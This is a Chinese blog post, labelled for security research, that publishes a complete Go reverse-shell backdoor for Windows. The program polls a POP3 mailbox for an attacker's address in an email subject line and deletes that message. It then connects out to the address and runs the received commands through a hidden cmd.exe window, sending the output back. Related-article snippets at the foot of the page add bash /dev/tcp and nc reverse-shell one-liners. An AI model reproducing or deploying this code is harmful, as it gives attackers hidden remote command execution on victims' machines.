golang写的反弹shell(自作孽不可活,切记,切记!)
仅作安全研究
package main
import (
"os/exec"
"go-pop3"
"log"
"strings"
"net"
// "fmt"
"syscall"
"bufio"
"time"
)
//反弹shell函数
func reverseshell(addr string){
if c,_:=net.Dial("tcp", addr); c != nil {
for{
status, _ := bufio.NewReader(c).ReadString('\n');
//显示输入命令
// fmt.Println(status)
//输入exit命令退出
if status == "exit\n" {
break
}
//输入Ctrl+C时字符为空退出
if status == "" {
break
}
//执行命令返回结果
cmd := exec.Command("cmd", "/C", status)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.Output();
c.Write([]byte(out))
}
}
}
//获取Email中的地址并调用反弹shell函数
func Get_Address_to_Rverse_shell(username string, password string){
client, err := pop3.Dial("pop.sina.com:110")
if err != nil {
log.Fatalf("Error: %v\n", err)
}
defer func() {
client.Quit()
client.Close()
}()
if err = client.User(username); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Pass(password); err != nil {
log.Printf("Error: %v\n", err)
return
}
var count int
var size uint64
if count, size, err = client.Stat(); err != nil {
log.Printf("Error: %v\n", err)
return
}
log.Printf("Count: %d, Size: %d\n", count, size)
var content string
if content, err = client.Retr(count); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Dele(count); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Noop(); err != nil {
log.Printf("Error: %v\n", err)
return
}
if err = client.Rset(); err != nil {
log.Printf("Error: %v\n", err)
return
}
//处理邮件object,获取地址
list := strings.Split(content, "\r\n")
for i := 0; i < len(list); i++ {
line := list[i]
if strings.Contains(line, "Subject:"){
addrlist := strings.Split(line, ":")
if len(addrlist) == 3 {
temp_addr := addrlist[1] + ":" + addrlist[2]
ADDR := strings.Replace(temp_addr, " ", "", -1)
reverseshell(ADDR)
// go reverseshell(ADDR)
}
}
}
}
func main(){
username := "xxx"
password := "xxx"
for{
Get_Address_to_Rverse_shell(username, password)
time.Sleep(10 * time.Second)
}
}
golang写的反弹shell(自作孽不可活,切记,切记!)的更多相关文章
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- 浅析重定向与反弹Shell命令
0×01 简介 反弹shell在漏洞证明和利用的过程中都是一个直接有力的手段.由于安全工作或者学习的需要,我们或多或少都会接触到各种反弹shell的命令,于是就有了这个能稍微帮助初学者理解的文档 ...
- 从一次渗透谈到linux如何反弹shell
零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- [Shell]多姿势反弹shell
客户端监听本地: nc -nvlp 4444 从原生的 shell 环境切换到 linux 的交互式 bash 环境: python -c 'import pty; pty.spawn("/ ...
- Struts2漏洞导致的反弹shell——青藤云安全使用的是agent进程采集器进行检测
安全老司机 | Struts2漏洞爆发后,与黑客的一次正面交锋 from:https://zhuanlan.zhihu.com/p/66122521 备注: 青藤云安全:——用的是进程信息采集器 通 ...
- 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...
随机推荐
- Codeforces Beta Round #64D - Professor's task
题意:两种操作1.加点2.查询点是否在之前给定点的凸包内 题解:set维护动态凸包,分别维护上下凸壳,对y取反就行,判断点是否在凸壳内,把点加进去看要不要删除就好了 //#pragma GCC opt ...
- 关于.babelrc中的stage-0,stage-1,stage-2,stage-3
文章链接:https://www.cnblogs.com/chris-oil/p/5717544.html
- hdu-5889-最短路+网络流/最小割
Barricade Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)Total S ...
- Leetcode 1008. 先序遍历构造二叉树
1008. 先序遍历构造二叉树 显示英文描述 我的提交返回竞赛 用户通过次数169 用户尝试次数183 通过次数171 提交次数247 题目难度Medium 返回与给定先序遍历 preorder ...
- R12 查询EBS用户相关SQL(转)
https://www.cnblogs.com/quanweiru/p/4869697.html http://hutianci.iteye.com/blog/934921 --R12查询EBS在线用 ...
- GCC 命令行详解 -L 指定库的路径 -l 指定需连接的库名 zhuan
1.gcc包含的c/c++编译器gcc,cc,c++,g++,gcc和cc是一样的,c++和g++是一样的,(没有看太明白前面这半句是什么意思:))一般c程序就用gcc编译,c++程序就用g++编译 ...
- CAD绘制室外台阶步骤5.4
1.在CAD的平面上用PL命令绘制台阶,如图: 绘制好了之后.进入三维模型,“工具""移位”选择台阶,回车,"Z"回车,输入数值“-450”如图 2.输入命令“ ...
- 《Java面向对象编程》
<Java面向对象编程> 第11章 对象的生命周期 11.1 创建对象的方式 用new语句创建对象 运用反射手段,调用java.lang.Class 或者 java.lang.Const ...
- laravel5.2 开发中打印sql语句
在 AppServiceProvider 的boot方法中写入 use DB;use Event; if ( env('APP_ENV') == 'dev' ) { DB::connection()- ...
- Jdbc连接数据库基本步骤
Jdbc连接数据库的基本步骤: package demo.jdbc; import java.sql.Connection; import java.sql.DriverManager; import ...